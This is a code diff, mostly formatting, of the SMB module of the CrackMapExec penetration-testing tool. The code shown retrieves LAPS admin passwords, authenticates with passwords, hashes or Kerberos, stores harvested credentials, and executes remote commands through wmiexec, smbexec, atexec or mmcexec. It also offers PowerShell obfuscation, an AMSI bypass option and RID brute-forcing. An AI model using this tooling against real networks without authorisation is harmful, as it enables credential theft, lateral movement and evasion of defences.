help="enumerate shares and access" + ) + egroup.add_argument( + "--filter-shares", + nargs="+", + help="Filter share by access, option 'read' 'write' or 'read,write'", + ) + egroup.add_argument( + "--sessions", action="store_true", help="enumerate active sessions" + ) egroup.add_argument("--disks", action="store_true", help="enumerate disks") - egroup.add_argument("--loggedon-users-filter", action="store", - help="only search for specific user, works with regex") - egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users") - egroup.add_argument("--users", nargs="?", const="", metavar="USER", - help="enumerate domain users, if a user is specified than only its information is queried.") - egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", - help="enumerate domain groups, if a group is specified than its members are enumerated") - egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users") - egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", - help="enumerate local groups, if a group is specified then its members are enumerated") - egroup.add_argument("--pass-pol", action="store_true", help="dump password policy") - egroup.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", - help="enumerate users by bruteforcing RID's (default: 4000)") - egroup.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query") - egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", - help="WMI Namespace (default: root\\cimv2)") + egroup.add_argument( + "--loggedon-users-filter", + action="store", + help="only search for specific user, works with regex", + ) + egroup.add_argument( + "--loggedon-users", action="store_true", help="enumerate logged on users" + ) + egroup.add_argument( + "--users", + nargs="?", + const="", + metavar="USER", + help="enumerate domain users, if a user is specified than only its information is queried.", + ) + egroup.add_argument( + "--groups", + nargs="?", + const="", + metavar="GROUP", + help="enumerate domain groups, if a group is specified than its members are enumerated", + ) + egroup.add_argument( + "--computers", + nargs="?", + const="", + metavar="COMPUTER", + help="enumerate computer users", + ) + egroup.add_argument( + "--local-groups", + nargs="?", + const="", + metavar="GROUP", + help="enumerate local groups, if a group is specified then its members are enumerated", + ) + egroup.add_argument( + "--pass-pol", action="store_true", help="dump password policy" + ) + egroup.add_argument( + "--rid-brute", + nargs="?", + type=int, + const=4000, + metavar="MAX_RID", + help="enumerate users by bruteforcing RID's (default: 4000)", + ) + egroup.add_argument( + "--wmi", metavar="QUERY", type=str, help="issues the specified WMI query" + ) + egroup.add_argument( + "--wmi-namespace", + metavar="NAMESPACE", + default="root\\cimv2", + help="WMI Namespace (default: root\\cimv2)", + ) - sgroup = smb_parser.add_argument_group("Spidering", 'Options for spidering shares') - sgroup.add_argument("--spider", metavar="SHARE", type=str, help="share to spider") - sgroup.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, - help="folder to spider (default: root share directory)") - sgroup.add_argument("--content", action="store_true", help="enable file content searching") - sgroup.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", - help="directories to exclude from spidering") + sgroup = smb_parser.add_argument_group( + "Spidering", "Options for spidering shares" + ) + sgroup.add_argument( + "--spider", metavar="SHARE", type=str, help="share to spider" + ) + sgroup.add_argument( + "--spider-folder", + metavar="FOLDER", + default=".", + type=str, + help="folder to spider (default: root share directory)", + ) + sgroup.add_argument( + "--content", action="store_true", help="enable file content searching" + ) + sgroup.add_argument( + "--exclude-dirs", + type=str, + metavar="DIR_LIST", + default="", + help="directories to exclude from spidering", + ) segroup = sgroup.add_mutually_exclusive_group() - segroup.add_argument("--pattern", nargs="+", - help="pattern(s) to search for in folders, filenames and file content") - segroup.add_argument("--regex", nargs="+", help="regex(s) to search for in folders, filenames and file content") - sgroup.add_argument("--depth", type=int, default=None, - help="max spider recursion depth (default: infinity & beyond)") - sgroup.add_argument("--only-files", action="store_true", help="only spider files") + segroup.add_argument( + "--pattern", + nargs="+", + help="pattern(s) to search for in folders, filenames and file content", + ) + segroup.add_argument( + "--regex", + nargs="+", + help="regex(s) to search for in folders, filenames and file content", + ) + sgroup.add_argument( + "--depth", + type=int, + default=None, + help="max spider recursion depth (default: infinity & beyond)", + ) + sgroup.add_argument( + "--only-files", action="store_true", help="only spider files" + ) - tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files") - tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt") - tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") - tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") + tgroup = smb_parser.add_argument_group( + "Files", "Options for put and get remote files" + ) + tgroup.add_argument( + "--put-file", + nargs=2, + metavar="FILE", + help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt", + ) + tgroup.add_argument( + "--get-file", + nargs=2, + metavar="FILE", + help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt", + ) + tgroup.add_argument( + "--append-host", + action="store_true", + help="append the host to the get-file filename", + ) - cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands") - cgroup.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, - help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") - cgroup.add_argument("--codec", default="utf-8", - help="Set encoding used (codec) from the target's output (default " - "\"utf-8\"). If errors are detected, run chcp.com at the target, " - "map the result with " - "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute " - "again with --codec and the corresponding codec") - cgroup.add_argument("--force-ps32", action="store_true", - help="force the PowerShell command to run in a 32-bit process") - cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") + cgroup = smb_parser.add_argument_group( + "Command Execution", "Options for executing commands" + ) + cgroup.add_argument( + "--exec-method", + choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, + default=None, + help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)", + ) + cgroup.add_argument( + "--codec", + default="utf-8", + help="Set encoding used (codec) from the target's output (default " + '"utf-8"). If errors are detected, run chcp.com at the target, ' + "map the result with " + "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute " + "again with --codec and the corresponding codec", + ) + cgroup.add_argument( + "--force-ps32", + action="store_true", + help="force the PowerShell command to run in a 32-bit process", + ) + cgroup.add_argument( + "--no-output", action="store_true", help="do not retrieve command output" + ) cegroup = cgroup.add_mutually_exclusive_group() - cegroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") - cegroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") - psgroup = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation") - psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts") - psgroup.add_argument('--amsi-bypass', nargs=1, metavar="FILE", help='File with a custom AMSI bypass') - psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts") + cegroup.add_argument( + "-x", + metavar="COMMAND", + dest="execute", + help="execute the specified command", + ) + cegroup.add_argument( + "-X", + metavar="PS_COMMAND", + dest="ps_execute", + help="execute the specified PowerShell command", + ) + psgroup = smb_parser.add_argument_group( + "Powershell Obfuscation", "Options for PowerShell script obfuscation" + ) + psgroup.add_argument( + "--obfs", action="store_true", help="Obfuscate PowerShell scripts" + ) + psgroup.add_argument( + "--amsi-bypass", + nargs=1, + metavar="FILE", + help="File with a custom AMSI bypass", + ) + psgroup.add_argument( + "--clear-obfscripts", + action="store_true", + help="Clear all cached obfuscated PowerShell scripts", + ) return parser @@ -269,13 +488,13 @@ class smb(connection): "protocol": "SMB", "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, } ) def get_os_arch(self): try: - string_binding = fr"ncacn_ip_tcp:{self.host}[135]" + string_binding = rf"ncacn_ip_tcp:{self.host}[135]" transport = DCERPCTransportFactory(string_binding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() @@ -283,7 +502,10 @@ class smb(connection): dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: - dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")) + dce.bind( + MSRPC_UUID_PORTMAP, + transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"), + ) except DCERPCException as e: if str(e).find("syntaxes_not_supported") >= 0: dce.disconnect() @@ -300,7 +522,7 @@ class smb(connection): self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] no_ntlm = False try: - self.conn.login('', '') + self.conn.login("", "") except BrokenPipeError: self.logger.fail(f"Broken Pipe Error while attempting to login") except Exception as e: @@ -309,13 +531,18 @@ class smb(connection): no_ntlm = True pass - self.domain = self.conn.getServerDNSDomainName() if not no_ntlm else self.args.domain + self.domain = ( + self.conn.getServerDNSDomainName() if not no_ntlm else self.args.domain + ) self.hostname = self.conn.getServerName() if not no_ntlm else self.host self.server_os = self.conn.getServerOS() try: - self.signing = self.conn.isSigningRequired() \ - if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] + self.signing = ( + self.conn.isSigningRequired() + if self.smbv1 + else self.conn._SMBConnection._Connection["RequireSigning"] + ) except Exception as e: self.logger.debug(e) pass @@ -329,7 +556,14 @@ class smb(connection): if not self.domain: self.domain = self.hostname - self.db.add_host(self.host, self.hostname, self.domain, self.server_os, self.smbv1, self.signing) + self.db.add_host( + self.host, + self.hostname, + self.domain, + self.server_os, + self.smbv1, + self.signing, + ) try: # DCs seem to want us to logoff first, windows workstations sometimes reset the connection @@ -346,7 +580,7 @@ class smb(connection): def laps_search(self, username, password, ntlm_hash, domain): self.logger.extra["protocol"] = "LDAP" self.logger.extra["port"] = "389" - + ldapco = LDAPConnect(self.domain, "389", self.domain) if self.kerberos: @@ -356,69 +590,89 @@ class smb(connection): connection = ldapco.kerberos_login( domain, - username[0] if username else '', - password[0] if password else '', - ntlm_hash[0] if ntlm_hash else '', + username[0] if username else "", + password[0] if password else "", + ntlm_hash[0] if ntlm_hash else "", kdcHost=self.kdcHost, - aesKey=self.aesKey + aesKey=self.aesKey, ) else: connection = ldapco.auth_login( domain, - username[0] if username else '', - password[0] if password else '', - ntlm_hash[0] if ntlm_hash else '' + username[0] if username else "", + password[0] if password else "", + ntlm_hash[0] if ntlm_hash else "", ) if not connection: self.logger.fail(f"LDAP connection failed with account {username[0]}") return False - search_filter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.hostname + '))' - attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName'] + search_filter = ( + "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + + self.hostname + + "))" + ) + attributes = [ + "msLAPS-EncryptedPassword", + "msLAPS-Password", + "ms-MCS-AdmPwd", + "sAMAccountName", + ] results = connection.search( - searchFilter=search_filter, - attributes=attributes, - sizeLimit=0 + searchFilter=search_filter, attributes=attributes, sizeLimit=0 ) - msMCSAdmPwd = '' - sAMAccountName = '' - username = '' + msMCSAdmPwd = "" + sAMAccountName = "" + username = "" from impacket.ldap import ldapasn1 as ldapasn1_impacket - results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] + + results = [ + r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry) + ] if len(results) != 0: for host in results: - values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in host['attributes']} + values = { + str(attr["type"]).lower(): str(attr["vals"][0]) + for attr in host["attributes"] + } if "mslaps-encryptedpassword" in values: - self.logger.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...") + self.logger.fail( + "LAPS password is encrypted and currently CrackMapExec doesn't support the decryption..." + ) return False elif "mslaps-password" in values: from json import loads - r = loads(values['mslaps-password']) - msMCSAdmPwd = r['p'] - username = r['n'] + + r = loads(values["mslaps-password"]) + msMCSAdmPwd = r["p"] + username = r["n"] elif "ms-mcs-admpwd" in values: - msMCSAdmPwd = values['ms-mcs-admpwd'] + msMCSAdmPwd = values["ms-mcs-admpwd"] else: - self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") - logging.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}") + self.logger.fail( + "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password" + ) + logging.debug( + f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}" + ) else: self.logger.fail( - f'msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}' - ) + f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}" + ) return False self.username = self.args.laps if not username else username self.password = msMCSAdmPwd - if msMCSAdmPwd == '': + if msMCSAdmPwd == "": self.logger.fail( - f'msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}' - ) + f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}" + ) return False if ntlm_hash: @@ -435,10 +689,21 @@ class smb(connection): f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})" ) if self.args.laps: - return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) + return self.laps_search( + self.args.username, self.args.password, self.args.hash, self.domain + ) return True - def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False): + def kerberos_login( + self, + domain, + username, + password="", + ntlm_hash="", + aesKey="", + kdcHost="", + useCache=False, + ): logging.getLogger("impacket").disabled = True # Re-connect since we logged off fqdn_host = f"{self.hostname}.{self.domain}" @@ -466,17 +731,30 @@ class smb(connection): kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) else: kerb_pass = "" - self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") + self.logger.debug( + f"Attempting to do Kerberos Login with useCache: {useCache}" + ) - self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache) + self.conn.kerberosLogin( + username, + password, + domain, + lmhash, + nthash, + aesKey, + kdcHost, + useCache=useCache, + ) self.check_if_admin() - if username == '': + if username == "": self.username = self.conn.getCredentials()[0] else: self.username = username - used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + used_ccache = ( + " from ccache" if useCache else f":{process_secret(kerb_pass)}" + ) else: self.plaintext_login(username, password, self.host) return @@ -498,23 +776,25 @@ class smb(connection): # success for now, since it's a vulnerability - previously was an error self.logger.success( f"{domain}\\{self.username} account vulnerable to asreproast attack", - color='yellow' + color="yellow", ) return False except (FileNotFoundError, KerberosException) as e: self.logger.fail(f"CCache Error: {e}") return False except OSError as e: - used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" - self.logger.fail( - f"{domain}\\{self.username}{used_ccache} {e}" + used_ccache = ( + " from ccache" if useCache else f":{process_secret(kerb_pass)}" ) + self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}") except (SessionError, Exception) as e: error, desc = e.getErrorString() - used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + used_ccache = ( + " from ccache" if useCache else f":{process_secret(kerb_pass)}" + ) self.logger.fail( f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}", - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) if error not in smb_error_status: self.inc_failed_login(username) @@ -535,16 +815,29 @@ class smb(connection): self.logger.fail(f"Broken Pipe Error while attempting to login") self.check_if_admin() - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.password}" + ) self.db.add_credential("plaintext", domain, self.username, self.password) - user_id = self.db.get_credential("plaintext", domain, self.username, self.password) + user_id = self.db.get_credential( + "plaintext", domain, self.username, self.password + ) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: - self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}") - self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id) + self.logger.debug( + f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}" + ) + self.db.add_admin_user( + "plaintext", + domain, + self.username, + self.password, + self.host, + user_id=user_id, + ) out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" self.logger.success(out) @@ -564,7 +857,7 @@ class smb(connection): error, desc = e.getErrorString() self.logger.fail( f'{domain}\\{self.username}:{process_secret(self.password )} {error} {f"({desc})" if self.args.verbose else ""}', - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) if error not in smb_error_status: self.inc_failed_login(username) @@ -608,7 +901,9 @@ class smb(connection): self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: - self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id) + self.db.add_admin_user( + "hash", domain, self.username, nthash, self.host, user_id=user_id + ) out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}" self.logger.success(out) @@ -628,7 +923,7 @@ class smb(connection): error, desc = e.getErrorString() self.logger.fail( f"{domain}\\{self.username}:{process_secret(self.hash)} {error} {f'({desc})' if self.args.verbose else ''}", - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) if error not in smb_error_status: @@ -646,35 +941,43 @@ class smb(connection): None, self.args.port, preferredDialect=SMB_DIALECT, - timeout=self.args.smb_timeout + timeout=self.args.smb_timeout, ) self.smbv1 = True except socket.error as e: if str(e).find("Connection reset by peer") != -1: - self.logger.info(f"SMBv1 might be disabled on {self.host if not kdc else kdc}") + self.logger.info( + f"SMBv1 might be disabled on {self.host if not kdc else kdc}" + ) return False except (Exception, NetBIOSTimeout) as e: - self.logger.info(f"Error creating SMBv1 connection to {self.host if not kdc else kdc}: {e}") + self.logger.info( + f"Error creating SMBv1 connection to {self.host if not kdc else kdc}: {e}" + ) return False return True - def create_smbv3_conn(self, kdc=''): + def create_smbv3_conn(self, kdc=""): try: self.conn = SMBConnection( self.host if not kdc else kdc, self.host if not kdc else kdc, None, self.args.port, - timeout=self.args.smb_timeout + timeout=self.args.smb_timeout, ) self.smbv1 = False except socket.error as e: if str(e).find("Too many open files") != -1: - self.logger.fail(f"SMBv3 connection error on {self.host if not kdc else kdc}: {e}") + self.logger.fail( + f"SMBv3 connection error on {self.host if not kdc else kdc}: {e}" + ) return False except (Exception, NetBIOSTimeout) as e: - self.logger.info(f"Error creating SMBv3 connection to {self.host if not kdc else kdc}: {e}") + self.logger.info( + f"Error creating SMBv3 connection to {self.host if not kdc else kdc}: {e}" + ) return False return True @@ -686,7 +989,9 @@ class smb(connection): return False def check_if_admin(self): - rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn) + rpctransport = SMBTransport( + self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn + ) dce = rpctransport.get_dce_rpc() try: dce.connect() @@ -697,7 +1002,9 @@ class smb(connection): try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - ans = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F) + ans = scmr.hROpenSCManagerW( + dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F + ) self.admin_privs = True except scmr.DCERPCException: self.admin_privs = False @@ -709,7 +1016,7 @@ class smb(connection): with sem: with open(self.args.gen_relay_list, "a+") as relay_list: if self.host not in relay_list.read(): - relay_list.write(self.host + '\n') + relay_list.write(self.host + "\n") @requires_admin # @requires_smb_server @@ -728,7 +1035,9 @@ class smb(connection): if method == "wmiexec": try: exec_method = WMIEXEC( - self.host if not self.kerberos else self.hostname + "." + self.domain, + self.host + if not self.kerberos + else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, @@ -738,7 +1047,7 @@ class smb(connection): self.aesKey, self.kdcHost, self.hash, - self.args.share + self.args.share, ) self.logger.info("Executed command via wmiexec") break @@ -749,13 +1058,15 @@ class smb(connection): elif method == "mmcexec": try: exec_method = MMCEXEC( - self.host if not self.kerberos else self.hostname + "." + self.domain, + self.host + if not self.kerberos + else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, self.domain, self.conn, - self.hash + self.hash, ) self.logger.info("Executed command via mmcexec") break @@ -766,7 +1077,9 @@ class smb(connection): elif method == "atexec": try: exec_method = TSCH_EXEC( - self.host if not self.kerberos else self.hostname + "." + self.domain, + self.host + if not self.kerberos + else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, @@ -774,7 +1087,7 @@ class smb(connection): self.kerberos, self.aesKey, self.kdcHost, - self.hash + self.hash, ) # self.args.share) self.logger.info("Executed command via atexec") break @@ -785,7 +1098,9 @@ class smb(connection): elif method == "smbexec": try: exec_method = SMBEXEC( - self.host if not self.kerberos else self.hostname + '.' + self.domain, + self.host + if not self.kerberos + else self.hostname + "." + self.domain, self.smb_share_name, self.conn, self.args.port, @@ -796,7 +1111,7 @@ class smb(connection): self.aesKey, self.kdcHost, self.hash, - self.args.share + self.args.share, ) self.logger.info("Executed command via smbexec") break @@ -814,14 +1129,18 @@ class smb(connection): if not isinstance(output, str): output = output.decode(self.args.codec) except UnicodeDecodeError: - self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") - output = output.decode('cp437') + self.logger.debug( + "Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings" + ) + output = output.decode("cp437") output = output.strip() self.logger.debug(f"Output: {output}") if self.args.execute or self.args.ps_execute: - self.logger.success(f"Executed command {self.args.exec_method if self.args.exec_method else ''}") + self.logger.success( + f"Executed command {self.args.exec_method if self.args.exec_method else ''}" + ) buf = StringIO(output).readlines() for line in buf: self.logger.highlight(line.strip()) @@ -829,10 +1148,18 @@ class smb(connection): return output @requires_admin - def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False): + def ps_execute( + self, + payload=None, + get_output=False, + methods=None, + force_ps32=False, + dont_obfs=False, + ): if not payload and self.args.ps_execute: payload = self.args.ps_execute - if not self.args.no_output: get_output = True + if not self.args.no_output: + get_output = True amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None if os.path.isfile(payload): @@ -843,10 +1170,10 @@ class smb(connection): c, force_ps32=force_ps32, dont_obfs=dont_obfs, - custom_amsi=amsi_bypass + custom_amsi=amsi_bypass, ), get_output, - methods + methods, ) else: self.execute( @@ -854,12 +1181,12 @@ class smb(connection): payload, force_ps32=force_ps32, dont_obfs=dont_obfs, - custom_amsi=amsi_bypass + custom_amsi=amsi_bypass, ), get_output, - methods + methods, ) - return '' + return "" def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) @@ -868,8 +1195,7 @@ class smb(connection): try: self.logger.debug(f"domain: {self.domain}") user_id = self.db.get_user( - self.domain.split(".")[0].upper(), - self.username + self.domain.split(".")[0].upper(), self.username )[0][0] except Exception as e: error = get_error_string(e) @@ -883,25 +1209,21 @@ class smb(connection): error = get_error_string(e) self.logger.fail( f"Error enumerating shares: {error}", - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) return permissions except Exception as e: error = get_error_string(e) self.logger.fail( f"Error enumerating shares: {error}", - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) return permissions for share in shares: share_name = share["shi1_netname"][:-1] share_remark = share["shi1_remark"][:-1] - share_info = { - "name": share_name, - "remark": share_remark, - "access": [] - } + share_info = {"name": share_name, "remark": share_remark, "access": []} read = False write = False try: @@ -928,7 +1250,9 @@ class smb(connection): if share_name != "IPC$": try: # TODO: check if this already exists in DB before adding - self.db.add_share(self.hostname, user_id, share_name, share_remark, read, write) + self.db.add_share( + self.hostname, user_id, share_name, share_remark, read, write + ) except Exception as e: error = get_error_string(e) self.logger.debug(f"Error adding share: {error}") @@ -957,11 +1281,20 @@ class smb(connection): def sessions(self): try: - sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + sessions = get_netsession( + self.host, + self.domain, + self.username, + self.password, + self.lmhash, + self.nthash, + ) self.logger.display("Enumerated sessions") for session in sessions: if session.sesi10_cname.find(self.local_ip) == -1: - self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}") + self.logger.highlight( + f"{session.sesi10_cname:<25} User:{session.sesi10_username}" + ) return sessions except: pass @@ -969,7 +1302,14 @@ class smb(connection): def disks(self): disks = [] try: - disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + disks = get_localdisks( + self.host, + self.domain, + self.username, + self.password, + self.lmhash, + self.nthash, + ) self.logger.display("Enumerated disks") for disk in disks: self.logger.highlight(disk.disk) @@ -977,7 +1317,7 @@ class smb(connection): error, desc = e.getErrorString() self.logger.fail( f"Error enumerating disks: {error}", - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) return disks @@ -998,7 +1338,7 @@ class smb(connection): self.nthash, queried_groupname=self.args.local_groups, list_groups=True if not self.args.local_groups else False, - recurse=False + recurse=False, ) if self.args.local_groups: @@ -1009,11 +1349,13 @@ class smb(connection): for group in groups: if group.name: if not self.args.local_groups: - self.logger.highlight(f"{group.name:<40} membercount: {group.membercount}") + self.logger.highlight( + f"{group.name:<40} membercount: {group.membercount}" + ) group_id = self.db.add_group( self.hostname, group.name, - member_count_ad=group.membercount + member_count_ad=group.membercount, )[0] else: domain, name = group.name.split("/") @@ -1022,22 +1364,26 @@ class smb(connection): try: group_id = self.db.get_groups( group_name=self.args.local_groups, - group_domain=domain + group_domain=domain, )[0][0] except IndexError: group_id = self.db.add_group( domain, self.args.local_groups, - member_count_ad=group.membercount + member_count_ad=group.membercount, )[0] # yo dawg, I hear you like groups. # So I put a domain group as a member of a local group which is also a member of another local group. # (╯°□°)╯︵ ┻━┻ if not group.isgroup: - self.db.add_credential("plaintext", domain, name, "", group_id, "") + self.db.add_credential( + "plaintext", domain, name, "", group_id, "" + ) elif group.isgroup: - self.db.add_group(domain, name, member_count_ad=group.membercount) + self.db.add_group( + domain, name, member_count_ad=group.membercount + ) break except Exception as e: self.logger.fail(f"Error enumerating local groups of {self.host}: {e}") @@ -1050,9 +1396,7 @@ class smb(connection): for group_name, group_rid in groups.items(): self.logger.highlight(f"rid => {group_rid} => {group_name}") group_id = self.db.add_group( - self.hostname, - group_name, - rid=group_rid + self.hostname, group_name, rid=group_rid )[0] self.logger.debug(f"Added group, returned id: {group_id}") return groups @@ -1093,37 +1437,48 @@ class smb(connection): recurse=False, use_matching_rule=False, full_data=False, - custom_filter=str() + custom_filter=str(), ) self.logger.success("Enumerated members of domain group") for group in groups: - member_count = len(group.member) if hasattr(group, "member") else 0 + member_count = ( + len(group.member) if hasattr(group, "member") else 0 + ) self.logger.highlight( f"{group.memberdomain}\\{group.membername}" ) try: group_id = self.db.get_groups( group_name=self.args.groups, - group_domain=group.groupdomain + group_domain=group.groupdomain, )[0][0] except IndexError: group_id = self.db.add_group( group.groupdomain, self.args.groups, - member_count_ad=member_count + member_count_ad=member_count, )[0] if not group.isgroup: - self.db.add_credential("plaintext", group.memberdomain, group.membername, "", group_id, "") + self.db.add_credential( + "plaintext", + group.memberdomain, + group.membername, + "", + group_id, + "", + ) elif group.isgroup: group_id = self.db.add_group( group.groupdomain, group.groupname, - member_count_ad=member_count + member_count_ad=member_count, )[0] break except Exception as e: - self.logger.fail(f"Error enumerating domain group members using dc ip {dc_ip}: {e}") + self.logger.fail( + f"Error enumerating domain group members using dc ip {dc_ip}: {e}" + ) else: try: groups = get_netgroup( @@ -1140,13 +1495,17 @@ class smb(connection): ads_path=str(), admin_count=False, full_data=True, - custom_filter=str() + custom_filter=str(), ) self.logger.success("Enumerated domain group(s)") for group in groups: - member_count = len(group.member) if hasattr(group, "member") else 0 - self.logger.highlight(f"{group.samaccountname:<40} membercount: {member_count}") + member_count = ( + len(group.member) if hasattr(group, "member") else 0 + ) + self.logger.highlight( + f"{group.samaccountname:<40} membercount: {member_count}" + ) if bool(group.isgroup) is True: # Since there isn't a groupmember attribute on the returned object from get_netgroup @@ -1155,11 +1514,13 @@ class smb(connection): group_id = self.db.add_group( domain, group.samaccountname, - member_count_ad=member_count + member_count_ad=member_count, )[0] break except Exception as e: - self.logger.fail(f"Error enumerating domain group using dc ip {dc_ip}: {e}") + self.logger.fail( + f"Error enumerating domain group using dc ip {dc_ip}: {e}" + ) return groups def users(self): @@ -1178,9 +1539,9 @@ class smb(connection): password=self.password, lmhash=self.lmhash, nthash=self.nthash, - queried_domain='', + queried_domain="", ads_path=str(), - custom_filter=str() + custom_filter=str(), ) self.logger.success("Enumerated domain computer(s)") @@ -1189,7 +1550,9 @@ class smb(connection): self.logger.highlight(f"{domain}\\{host_clean:<30}") break except Exception as e: - self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}") + self.logger.fail( + f"Error enumerating domain hosts using dc ip {dc_ip}: {e}" + ) break return hosts @@ -1202,7 +1565,7 @@ class smb(connection): self.username, self.password, lmhash=self.lmhash, - nthash=self.nthash + nthash=self.nthash, ) self.logger.success("Enumerated logged_on users") if self.args.loggedon_users_filter: @@ -1229,25 +1592,36 @@ class smb(connection): namespace = self.args.wmi_namespace try: - rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + rpc = RPCRequester( + self.host, + self.domain, + self.username, + self.password, + self.lmhash, + self.nthash, + ) 